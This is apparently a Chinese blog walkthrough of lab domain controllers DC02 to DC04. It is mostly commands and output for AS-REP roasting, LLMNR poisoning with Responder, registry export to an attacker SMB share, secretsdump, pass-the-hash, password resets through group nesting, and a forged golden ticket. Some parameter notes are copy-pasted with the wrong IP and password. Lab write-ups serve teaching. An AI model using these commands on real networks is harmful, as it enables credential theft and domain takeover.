/usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240 > user # 将枚举出来的用户都筛选出来,去掉多余字符 grep "SidTypeUser" /data/demo/user | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt12.8 获取不需要预认证用户的AS-REP哈希正常情况下,银行(KDC)会强制要求你提供 “加密时间戳”(预认证)才给你凭证 —— 但如果某个用户的 “银行卡设置” 里,把 “必须要预认证” 这个选项关了(域用户未启用 Kerberos 预认证),会发生什么?→ 你不用提供 “加密时间戳”,只要报出 “身份证号”(用户名),银行就直接把 “加密的取钱凭证”(AS-REP 票据)给你了!→ 拿到这张凭证(AS-REP 哈希)后,你就可以拿回家 “慢慢试密码”(用 hashcat/john 爆破)—— 反正凭证是加密的,试错不会被银行发现(不会触发账号锁定)。这就是为什么要找 “不需要预认证的用户”:能无风险、无凭证地拿到他的 AS-REP 哈希,进而破解出明文密码。impacket-GetNPUsers -dc-ip 192.168.219.240 soupedecode.local/ -usersfile target_users.txt > hash12.9 AS-REP哈希爆破使用hashcat爆破不需要预认证的AS-REP哈希结果hashcat -a 0 -m 18200 res.txt /usr/share/wordlists/rockyou.txt提示,设备 #1:此次攻击所需的可分配设备内存不足,切换爆破工具john得到密码internet,那么配合前面的账号密码就是zximena448 :internet,再次远程连接evil-winrm -i 192.168.219.240 -u zximena448 -p internet使用smbclient连接smb服务,查看有什么东西smbclient -L //192.168.219.240/ -U zximena448使用这个用户连接C$这个smb共享文件夹再连接ADMIN$这个共享文件夹,也能连接(不过没有发现什么可用的文件)在C$共享文件夹中找到flag用zximena448账号查询域内用户信息,获取高权限账号(如Administrator)的线索。12.10 收集 LDAP 信息目的:获取域内用户列表、权限分组(如Domain Admins)、账号状态(启用 / 禁用),锁定高价值目标(如Administrator)。必要性:没有域内用户信息,后续攻击会盲目尝试,效率极低。前提:拥有至少一个有效的域内用户凭证(如zximena448:internet),且域控的 LDAP 端口(389)开放。原理:域内普通用户默认有权限查询 LDAP 目录的基础信息。命令如下ldapsearch -x -H ldap://192.168.219.240 -D "zximena448@SOUPEDECODE.LOCAL" -w 'internet' -b 'DC=SOUPEDECODE,DC=LOCAL' "sAMAccountName=zximena448" memberOf > ldap_result.txt-x使用简单认证(非 SASL 认证),适合用用户名 / 密码登录。-H ldap://192.168.215.25指定 LDAP 服务器地址(这里是域控的 IP)。-D "zximena448@SOUPEDECODE.LOCAL"绑定的用户 DN(用户名),即使用zximena448的凭证登录 LDAP。-w 'jesuschrist'绑定用户的密码(zximena448的密码)。-b 'DC=SOUPEDECODE,DC=LOCAL'查询的基准 DN(域的根目录),即从整个域范围查询。"sAMAccountName=zximena448"过滤条件:只查询sAMAccountName为zximena448的用户(精准定位自身)。memberOf只返回该用户的memberOf字段(即所属的组)。> ldap_result.txt将结果输出到文件,方便查看。发现zximena448属于Backup Operators组,Backup Operators是 Windows 域内置的特权组,默认被赋予了“备份 / 恢复域控系统数据” 的核心权限,而 “备份数据” 的权限恰好覆盖了域控的敏感文件(如存储账号哈希的NTDS.dit、注册表SAM/SYSTEM等)。攻击方式:在 Kali 上启动 SMB 服务,用于接收从目标机器导出的敏感文件(如注册表备份)。impacket-smbserver -smb2support "share" .前提:Kali 的 SMB 端口(445)未被占用,且目标域控能访问 Kali 的 IP(网络连通性)。原理:通过 SMB 协议实现文件共享,方便接收从目标导出的备份文件。12.11 导出注册表备份文件通过impacket-reg从域控(192.168.219.240)导出SYSTEM/SAM/SECURITY注册表文件(含加密的凭证信息)。impacket-reg "soupedecode.local"/"zximena448":"internet"@"192.168.219.240" backup -o '\\192.168.219.37\share'前提:拥有的域用户(zximena448)需具备读取域控注册表的权限(普通用户可能无此权限,此处可能因目标配置宽松成功)。原理:通过远程注册表服务导出系统关键注册表文件。此时smb服务的回显,备份文件,从域控服务器中传过来成功搭建 SMB 共享 + 导出注册表备份目的:SYSTEM/SAM/SECURITY注册表文件存储了系统加密的凭证(用户哈希、机器账户哈希等),导出后可离线解密。必要性:直接在域控上提取哈希可能触发告警,通过备份文件离线处理更隐蔽。就能看到开启smb共享文件夹的路径下面多了几个文件12.12 用secretsdump.py解密备份文件提取本地管理员哈希和机器账户(DC01$)哈希。目的:从备份文件中提取可直接用于攻击的哈希值(如DC01$机器账户哈希、本地管理员哈希)。必要性:原始注册表文件是加密的,必须用secretsdump结合bootKey解密才能得到可用的哈希。python /usr/share/doc/python3-impacket/examples/secretsdump.py -system SYSTEM.save -sam SAM.save -security SECURITY.save local前提:获取SYSTEM/SAM/SECURITY备份文件(本地解密),或拥有目标机器的管理员权限 / 机器账户哈希(远程导出)。原理:利用 Windows 的加密机制,通过bootKey解密哈希存储区。┌──(root㉿kali)-[/data/demo] └─# python /usr/share/doc/python3-impacket/examples/secretsdump.py -system SYSTEM.save -sam SAM.save -security SECURITY.save local Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC $MACHINE.ACC:plain_password_hex:45820dc9be5c067950d71e306d3d14084a9a8a3f8e99d7c1f6074080bec85f7c2645011e654397553bc7cad19277e361caaee722709bdaf3bbcbd9f2d0c73b8cf27651387c664ede1f3f7d6845f7d14293fdbcda34eb89d5c665de89860a23833a531ee43e6841b586896e6dbef6ac4e16196af3c6e2070ca148d032697b02bca95820d079296377ba4df3c4201dd419d89b9357bf470139b53d31761452e0f94ae9273a16c3d43ae2404740b5ac085992a092187c1fc6a59d5edb24e8cd8aae2575639cadc4cc18c7c5e5e07f5bf06a6154bb92a1dbcbf00f5b6b3171cd5df73121e0afca158f50df3f3db64c9dad11 $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:4408da87fddde5ecdffe27d1d8255bc1 [*] DPAPI_SYSTEM dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4 dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503 [*] NL$KM 0000 44 C5 ED CE F5 0E BF 0C 15 63 8B 8D 2F A3 06 8F D........c../... 0010 62 4D CA D9 55 20 44 41 75 55 3E 85 82 06 21 14 bM..U DAuU>...!. 0020 8E FA A1 77 0A 9C 0D A4 9A 96 44 7C FC 89 63 91 ...w......D|..c. 0030 69 02 53 95 1F ED 0E 77 B5 24 17 BE 6E 80 A9 91 i.S....w.$..n... NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991 [*] Cleaning up...12.13 哈希传递攻击(PTH)目的:无需明文密码,直接用哈希值认证并横向移动到域控(DC01$是域控的机器账户,默认有高权限)。必要性:多数情况下无法获取明文密码,PTH 是域内横向的核心手段。前提:目标开启 SMB 服务(445 端口),且未禁用 NTLM 认证(默认启用)。原理:通过 NTLM 协议,用哈希替代明文密码完成认证。用nxc验证DC01$哈希的有效性,确认可横向到域控。nxc smb 192.168.219.240 -u target_users.txt -H 4408da87fddde5ecdffe27d1d8255bc1用DC01$哈希通过secretsdump.py导出域内所有用户哈希(包括Administrator)。通过DC01$权限导出域内所有用户哈希(包括Administrator),最终用管理员权限登录域控,实现对整个域的控制。python /usr/share/doc/python3-impacket/examples/secretsdump.py soupedecode.local/'DC01$'@192.168.219.240 -hashes :4408da87fddde5ecdffe27d1d8255bc112.14 完成渗透用Administrator哈希通过evil-winrm登录域控,完成渗透。前提:域控开启 WinRM 服务(5985/5986 端口),且拥有管理员级别的哈希或明文密码。原理:通过 WinRM 协议远程执行命令,类似 SSH 但针对 Windows。evil-winrm -i 192.168.219.240 -u Administrator -H 8982babd4da89d33210779a6c5b078bd12.15 总结从用户枚举到密码爆破获取初始凭证,通过AS-REP Roasting获取更高权限账户,利用注册表备份提取机器账户哈希,最终通过哈希传递攻击实现域控完全控制。13、DC03 :中等13.1 外网打点nmap -sS -p- -T4 192.168.215.185 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'卧槽什么都没有,这怎么打?nmap -sS -p 53,13487,65005 -T4 192.168.215.185 -A扫错了,哈哈哈哈,靶机重启,原来是我换wifi了再来nmap -sS -p- -T4 192.168.215.25 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'nmap -sS -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49672,49685 -T4 192.168.215.25 -A根据上面的dc2靶场进行信息收集一波,ldap协议是开启着的,还有smb协议enum4linux-ng -A 192.168.215.25 -C13.2 尝试使用匿名登录smb匿名连接13.3 kerberos 用户名枚举kerbrute userenum -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt --dc 192.168.215.25charlie administrator wreed11 webserver爆破smbnxc smb 192.168.215.25 -u user -p user13.4 爆破 kerberos 协议kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt wreed11 kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt charlie三个用户接失败13.4 LLMNR 投毒攻击13.4.1 具体流程骗取目标设备的账号密码哈希,具体流程如下:监听局域网内的 LLMNR 请求:用Responder(你之前用过的工具)等软件,在攻击机上监听局域网内的 LLMNR 广播;伪造响应欺骗目标:当目标设备(比如域内的员工电脑)发起 LLMNR 请求(如解析\\共享打印机名)时,攻击机抢先回复:“我就是你要找的设备,我的 IP 是攻击机 IP”;骗取哈希值:目标设备相信后,会试图用当前登录用户的 “NTLM 哈希” 与攻击机建立连接(比如访问共享文件夹),攻击机就能捕获到这个哈希;破解哈希或直接用哈希登录:拿到哈希后,可通过hashcat破解成明文密码,或直接用 “哈希传递(PTH)” 登录其他设备。13.4.2 如何用 LLMNR 拿到域内哈希比如你在域渗透中,攻击机和目标域内的员工电脑在同一个网段(192.168.215.0/24):在 Kali 上启动Responder,开启 LLMNR 监听:员工在电脑上误输入\\不存在的共享名(比如\\file-server),DNS 解析失败,触发 LLMNR 广播;Responder捕获到这个请求,伪装成file-server回复员工电脑;员工电脑用当前登录用户(比如SOUPEDECODE\charlie)的 NTLM 哈希,尝试与攻击机建立 SMB 连接;Responder成功捕获到charlie的哈希,你后续就可以用这个哈希进行 PTH 攻击,登录其他域内设备。responder -I eth0 -wd这里应该是域控靶机的计划任务,所以能拿到hash拿到这个账号的hash,准备去爆破[SMB] NTLMv2-SSP Client : 240a:42c2:802:3c85:e8b7:3202:ffea:f6fd [SMB] NTLMv2-SSP Username : SOUPEDECODE\DC01$ [SMB] NTLMv2-SSP Hash : DC01$::SOUPEDECODE:b7c95f1435ed324f:38D48E36709F60B6B02218D61D394294:010100000000000000A791D28545DC0159ED6A549FAD342D0000000002000800330037005300330001001E00570049004E002D005500350050004500330055004F00300044004600550004003400570049004E002D005500350050004500330055004F0030004400460055002E0033003700530033002E004C004F00430041004C000300140033003700530033002E004C004F00430041004C000500140033003700530033002E004C004F00430041004C000700080000A791D28545DC010600040002000000080030003000000000000000000000000040000033BE778EBDE22DAB53FA856B26B3A1EABC23AFB04656C990D86DF46D0504C4230A0010000000000000000000000000000000000009002C0063006900660073002F0053004F005500500045004400450043004F00440045002E004C004F00430041004C000000000000000000---[SMB] NTLMv2-SSP Client : 240a:42c2:802:3c85:e8b7:3202:ffea:f6fd[SMB] NTLMv2-SSP Username : soupedecode\xkate578[SMB] NTLMv2-SSP Hash : xkate578::soupedecode:0215e15662d218c6:75CB92B3BD84CC2BA33FD7549A0D1EA4:010100000000000000A791D28545DC018EC3298268DA333B0000000002000800330037005300330001001E00570049004E002D005500350050004500330055004F00300044004600550004003400570049004E002D005500350050004500330055004F0030004400460055002E0033003700530033002E004C004F00430041004C000300140033003700530033002E004C004F00430041004C000500140033003700530033002E004C004F00430041004C000700080000A791D28545DC010600040002000000080030003000000000000000000000000040000033BE778EBDE22DAB53FA856B26B3A1EABC23AFB04656C990D86DF46D0504C4230A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C006500530065007200760065007200000000000000000013.5 smb渗透找到账号密码,查看smb服务器内有什么东西xkate578:jesuschrist smbclient -L //192.168.215.25/ -U xkate578登录到share共享文件夹,发现user.txt尝试上传,发现这个用户有上传文件的权限使用evil-winrm连接失败evil-winrm -i 192.168.215.25 -u xkate578 -p jesuschrist13.6 查询域内SPN关联用户查询寻域内所有关联了SPN的用户(用于发现这些用户的TGS票据,从而破解密码)13.7 枚举域内用户SIDxkate578这个用户有查看域内SID信息的权限python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/xkate578@192.168.215.25 > results.txt把这些用户名信息导出为一个用户字典grep "SidTypeUser" /data/demo/results.txt | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt13.8 爆破 kerberos针对域用户xkate578进行“密码暴力破解”的操作,核心目的是通过字典攻击尝试获取该用户的明文密码。ntpdate 192.168.215.25 kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt xkate578 -v13.9 nxc爆破smb使用nxc内网渗透神器,使用相同的账号密码爆破smb服务器,全部失败13.10 获取不需要预认证用户的AS-REP哈希全部没有impacket-GetNPUsers -dc-ip 192.168.215.25 soupedecode.local/ -usersfile target_users.txt利用之前得到的密码 xkate578:jesuschristldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b 'DC=SOUPEDECODE,DC=LOCAL' "sAMAccountName=xkate578" memberOf > ldap_result.txt参数作用-x使用简单认证(非 SASL 认证),适合用用户名 / 密码登录。-H ldap://192.168.215.25指定 LDAP 服务器地址(这里是域控的 IP)。-D "xkate578@SOUPEDECODE.LOCAL"绑定的用户 DN(用户名),即使用xkate578的凭证登录 LDAP。-w 'jesuschrist'绑定用户的密码(xkate578的密码)。-b 'DC=SOUPEDECODE,DC=LOCAL'查询的基准 DN(域的根目录),即从整个域范围查询。"sAMAccountName=xkate578"过滤条件:只查询sAMAccountName为xkate578的用户(精准定位自身)。memberOf只返回该用户的memberOf字段(即所属的组)。> ldap_result.txt将结果输出到文件,方便查看。从结果中可以看到这个用户属于Account Operators组作用:创建 / 修改 / 删除普通域用户账号可在域内新增用户(如testuser)、修改现有用户的属性(如密码、登录脚本、所属组等),但不能修改域管理员(Domain Admins)等高级账号。管理用户组(非特权组)可创建新的普通用户组,或修改普通组的成员(如将zximena448加入某个组),但不能修改Domain Admins、Enterprise Admins等特权组。重置普通用户密码可强制重置普通域用户的密码(无需知道原密码),例如将zximena448的密码改为hacked123,进而控制该账号。查看域内用户 / 组的详细信息比普通用户拥有更高的 LDAP 查询权限,可获取更多域内账号的属性(如密码过期时间、登录次数等)。尝试利用net命令和这些凭证,向目标域添加一个用户,然后使用evil-winrm连接的时候,连接不上net rpc user add "it_support" "ItSupport@123" -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.215.25evil-winrm -i 192.168.215.25 -u it_support -p 'ItSupport@123'将用户添加到远程管理组即可使用evil-winrm连接net rpc group addmem "Remote Management Users" it_support -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.215.25evil-winrm -i 192.168.215.25 -u it_support -p 'ItSupport@123'那么尝试添加管理员组呢?很明显,之前已经说过了,Account Operators组的用户,可创建新的普通用户组,或修改普通组的成员(如将zximena448加入某个组),但不能修改Domain Admins、Enterprise Admins等特权组。再看看管理员组有哪些用户,一个是Operators,一个是Administrator,两个用户属于超级管理员’ldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "DC=SOUPEDECODE,DC=LOCAL" "memberOf=CN=Domain Admins,CN=Users,DC=SOUPEDECODE,DC=LOCAL" sAMAccountName name从 LDAP 查询结果中,有几个关键线索表明Operators是自定义组而非 Windows 内置组:Windows 内置操作员组都有特定的前缀:Backup OperatorsPrint OperatorsServer OperatorsAccount Operators而这里发现:组名:Operators(没有前缀)这不符合 Windows 内置组的命名规范sAMAccountName 分析ldif# Operators, Users, SOUPEDECODE.LOCAL dn: CN=Operators,CN=Users,DC=SOUPEDECODE,DC=LOCAL name: Operators sAMAccountName: Operators关键点:sAMAccountName: Operators(没有数字后缀)Windows 内置组通常有特定的 sAMAccountName 格式例如内置的Account Operators的 sAMAccountName 是Account Operators另外# 内置组通常在 Builtin 容器中 dn: CN=Account Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL我们再来查看自定义组中有哪些用户ldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "DC=SOUPEDECODE,DC=LOCAL" "(&(objectClass=user)(memberOf=CN=Operators,CN=Users,DC=SOUPEDECODE,DC=LOCAL))" sAMAccountName name# Account Operators 不能重置这些直接组成员的密码: - 直接属于 Administrators 的用户 - 直接属于 Domain Admins 的用户# 但可以重置这些用户的密码:- 通过组嵌套获得管理员权限的用户- 属于自定义管理组的用户再不清楚,就是这个链路Domain Admins (域管理员组) ↑ 包含 Operators (自定义管理组) ↑ 包含 fbeth103 (普通用户)xkate578 (Account Operators) → 可以重置 fbeth103 密码开始修改密码(回家重装了靶机,ip变了)net rpc user password "fbeth103" "P@ssw0rd123" -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.0.102# 或者[root@kali] /home/kali/DC03❯ rpcclient -U "xkate578" --password="jesuschrist" 192.168.56.126 ⏎rpcclient $> setuserinfo2 fbeth103 23 "Pass1234!"rpcclient $># 然后连接evil-winrm -i 192.168.0.102 -u fbeth103 -p 'P@ssw0rd123'此时就已经得到了最后的root.txt内容它这个自定义既然组隶属于管理员组,那我们是不是能利用这个fbeth103用户去修改管理员的账号密码呢?现在试试┌──(root㉿kali)-[~] └─# net rpc user password "Administrator" "NewAdminPass123" -U "SOUPEDECODE.LOCAL/fbeth103%P@ssw0rd123" -S 192.168.0.102┌──(root㉿kali)-[~]└─# evil-winrm -i 192.168.0.102 -u Administrator -p 'NewAdminPass123'Evil-WinRM shell v3.7Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module RelineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents> whoamisoupedecode\administrator成功修改!都不需要去PTH(哈希传递攻击)了13.11 PTH攻击(hash传递)Secretdump获取域内hashimpacket-secretsdump 'SOUPEDECODE.LOCAL/fbeth103:P@ssw0rd123'@192.168.0.10213.12 工具推荐 ldapdomaindump除了ldapsearch工具之外,还有一个工具也可以看域内组织情况,叫做ldapdomaindumpldapdomaindump -u "SOUPEDECODE.LOCAL\fbeth103" -p P@ssw0rd123 192.168.0.102在生成的domain_groups.html中也能看到Operators属于Domain Admins组从这里也能看到fbeth103属于Operators组用这个工具更为方便13.13 DC03 域渗透总结本次 DC03 域渗透从外网打点开始,先通过 nmap 扫描确定目标为域控制器,开启 53、88、139、445、389 等关键端口。匿名登录 SMB 失败后,用 kerbrute 枚举到 charlie、administrator 等用户,爆破无果后通过 Responder 进行 LLMNR 投毒,捕获到 xkate578 的 NTLM 哈希并破解出密码。利用 xkate578(属 Account Operators 组)的账号管理权限,先创建影子账号并加入远程管理组,成功登录后枚举域内用户,发现自定义组 Operators 隶属于 Domain Admins,且包含用户 fbeth103。重置 fbeth103 密码并登录,利用其间接域管理员权限,成功修改 Administrator 密码,获取域控最高权限,最终找到 root.txt,全程未依赖复杂漏洞,主要通过权限嵌套与凭据复用推进。14、DC04:难14.1 外网打点nmap -sS -p- -T4 192.168.0.103 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'nmap -sS -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49680,49710,49765 -T4 192.168.0.103 -A自动重定向到这个域名编辑下面的文件,将ip和域名加入进去# windows C:\Windows\System32\drivers\etc\hostslinux也要,不然扫描不到东西,这里他变成了重定向次数过多,而不是之前的无法访问网站echo "192.168.0.103 soupedecode.local" >> /etc/hosts使用dir进行目录扫描,扫出来一个这个目录dirb http://soupedecode.local还有一个服务器信息http://soupedecode.local/server-info这里有一个服务版本,可以使用searchsploit检索一下(没有发现任何有用的东西)我们一直往下翻,翻到了这个东西继续将这个域名添加到hosts中,就可以访问站点了,是一个登录框14.2 后台爆破打开burp,fuzz SQL注入、xss字典,都没有结果,使用相同的账号密码字典爆破也没有结果继续信息收集smbclient -L //192.168.0.103/ -N后续也尝试了各种枚举,也没有东西。。。。。。后边去看了看别人写的,就是这个机子很容易出问题,爆破几次后,后面怎么爆破都是403了最后爆破出来账号密码是admin:nimda登录成功后会要求你输入ip地址可能是命令执行,但是尝试各种命令执行都失败了,只要和|,&相关的都不行,看来是做了过滤【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析14.3 LLMNR那就来试试DC3的LLMNR,我们在这个输入框里输入kali的ip地址responder -I eth0 -wdecho "websvc::soupedecode:e2985b38b501aed2:E5E63AAD4B475A06D1ECE4C7F78A2E60:010100000000000080646EFE3946DC01F711F570D52509F5000000000200080045004B0042004F0001001E00570049004E002D0043003700380051004F0038004100440032003100490004003400570049004E002D0043003700380051004F003800410044003200310049002E0045004B0042004F002E004C004F00430041004C000300140045004B0042004F002E004C004F00430041004C000500140045004B0042004F002E004C004F00430041004C000700080080646EFE3946DC01060004000200000008003000300000000000000000000000004000005C18B02FEAC5263030D32A3F0BCCDD51E0CAD786D3DFBABF65601AC3E74CE55D0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0030002E003100340038000000000000000000" > hashjohn hash --wordlist=/usr/share/wordlists/rockyou.txtwebsvc:jordan23密码已过期,应该知道怎么搞了吧14.5 近源攻击!按住esc进入选择用户界面,然后根据步骤一步一步走输入原来的账号密码选择ok,说明你密码输入对了随后就可以修改你的账号密码了14.6 smb信息收集账号密码 websvc:jordan23smbclient -L //192.168.0.103 -U "SOUPEDECODE.LOCAL/websvc%admin123"在c盘找到第一个flagsmbclient //192.168.0.103/C -U "SOUPEDECODE.LOCAL/websvc%admin123"14.7 查询域内SPN关联用户有了域内的账号密码,再来看看SPN,查询域内所有关联了 SPN 的用户,用来获取他们的凭据,没有结果14.8 枚举域内用户SIDpython /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/websvc@192.168.0.103 > usersgrep "SidTypeUser" /data/demo/users | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt14.9 获取不需要预认证用户的AS-REP哈希结果没有impacket-GetNPUsers -dc-ip 192.168.0.103 soupedecode.local/ -usersfile target_users.txt > hashcat hash | grep +14.10 ldapdomaindump收集 LDAP 信息,获取域内用户列表、权限分组(如Domain Admins)、账号状态(启用 / 禁用),锁定高价值目标(如Administrator)。ldapdomaindump -u "SOUPEDECODE.LOCAL\websvc" -p admin123 192.168.0.103python -m http.server访问8000端口,看到用户不属于任何特权组,仅仅是普通用户仔细翻翻看,找到一个默认的账号密码rtina979 :Z~l3JhcV#7Q-1#M同样的密码过期,需要近源攻击!smbclient //192.168.0.103/C$ -U "SOUPEDECODE.LOCAL/rtina979%Z~l3JhcV#7Q-1#M"这里给你们一张表,输入清楚了哈,我输了十多遍,艹14.11 二次smb信息收集此时就能正常登录了在rtina979用户的Documents文件夹里找到一个rar压缩包,把它下载下来解压需要密码fcrackzip 工具只能用于破解 ZIP 文件,而我们的文件是 RAR 格式。使用rar2john将 RAR 文件转换为 John the Ripper 可识别的哈希格式。提取哈希:rar2john Report.rar > report_hash.txt使用字典攻击(使用 rockyou.txt):john --wordlist=/usr/share/wordlists/rockyou.txt report_hash.txt解压,输入密码PASSWORD123解压出来会发现当前目录有一个htm文件是一个渗透测试报告在这个报告最后,能看到krbtgt的hash内容14.12 黄金票据攻击条件:获取 KRBTGT 账户哈希- 通过 DCSync 或其他方式获取域 SID- 通过 LDAP 或 SMB 枚举知道域名- 目标域的完整名称获取到了KRBTGT哈希先验证一下是否是正确的,红色代表失败,紫色代表hash正确,或者账户禁用,或者密码过期等等0f55cdc40bd8f5814587f7e6b2f85e6f14.12.1 获取域SID域SID为:S-1-5-21-2986980474-46765180-2505414164python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/rtina979@192.168.0.10314.12.2 同步域时间在平时可能会遇到kali和靶机的时间一直都不同步,怎么使用ntpdate或者其他时间同步工具,就是同步不起来,就需要使用下面第一行的命令了systemctl stop systemd-timesyncd # 停止自动时间同步服务 ntpdate 192.168.0.103 # 强制同步时间14.12.3 生成管理员的黄金票据impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain soupedecode.local administrator14.12.4 导入票据到环境变量export KRB5CCNAME=administrator.ccache14.12.5 使用票据impacket-wmiexec soupedecode.local/administrator@dc01.soupedecode.local -k -target-ip 192.168.0.103至此渗透完成啦14.13 总结DC04 域渗透从外网打点起步,nmap 扫描发现目标开放 80、88、445 等端口,访问 80 端口需配置 hosts 解析域名,目录扫描找到后台登录页。爆破无果后,利用后台 IP 输入框发起 LLMNR 投毒,捕获 websvc 用户哈希并破解密码,通过近源攻击修改过期密码。登录 SMB 获取首个 flag 后,枚举域用户发现 rtina979 账号及密码,再次近源攻击修改密码。登录其 SMB 下载加密压缩包,破解后得到渗透报告,从中提取 krbtgt 用户哈希。获取域 SID 并同步时间后,生成 Administrator 黄金票据,导入环境变量后通过 wmiexec 成功登录域控,获取最高权限,全程依赖凭据获取与票据攻击,突破多重限制完成渗透。15、广告时间点击即达16、往期推荐新版BurpSuite v2025.6.3汉化版,附激活教程Fine!2025最新款信息收集综合工具若依Vue漏洞检测工具v7更新最好用的下一代目录爆破工具,全方位的目录爆破集成MemProcFS,Vol2和Vol3的内存取证神器重大更新!FeatherScan v4.5 内网 linux 信息收集,提权一键梭哈神器x-WAF,一个基于fuzz的WAF绕过渗透工具这10款内网穿透工具,一定有你没用过的红队命令速查手册挖SRC必须知道的25个漏洞提交平台挖SRC必须知道的25个漏洞提交平台FeatherScan v4.0 - 一款Linux内网全自动信息收集工具掩日-适用于红队的综合免杀工具2025最新渗透测试靶场推荐近400个渗透测试常用命令,信息收集、web、内网、隐藏通信、域渗透等等【内网渗透】隐藏通信隧道技术内网渗透必备,microsocks,一个轻量级的socks代理工具神器分享 红队快速打点工具-DarKnuclei红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!一个永久的渗透知识库【OSCP】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备,microsocks,一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!DC-2综合渗透,rbash逃逸,Git提权,WordPress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略SQL注入中各种WAF的绕过方式,狗,盾,神,锁,宝利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细大型翻车现场,十种WAF绕过姿势,仅成功一种喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透
2025年10月26日
3,854 阅读
0 评论
0 点赞